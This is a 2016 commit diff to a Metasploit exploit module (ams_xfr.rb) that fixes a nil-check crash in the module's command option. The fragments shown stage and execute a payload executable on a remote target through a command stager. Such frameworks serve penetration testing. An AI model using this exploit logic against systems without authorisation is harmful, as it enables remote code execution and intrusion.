fix ams_xfr.rb - NoMethodError undefined method 'empty?' for nil:NilClass

This commit is contained in:
Vex Woo
2016-05-17 17:55:18 -05:00
parent 2e3e4f0069
commit a4e7e373f3
@@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.' })
execute_cmdstager({ :temp => '.', :cgifname => exe_fname })
@payload_exe = generate_payload_exe
print_status("Attempting to execute the payload...")
@@ -93,7 +93,7 @@ class MetasploitModule < Msf::Exploit::Remote
def exploit
if not datastore['CMD'].empty?
if not (datastore['CMD'].nil? || datastore['CMD'].empty?)
print_status("Executing command '#{datastore['CMD']}'")
execute_command(datastore['CMD'])
return
@@ -104,7 +104,7 @@ class MetasploitModule < Msf::Exploit::Remote
windows_stager
else
fail_with(Failure::Unknown, 'Target not supported.')
end
end
handler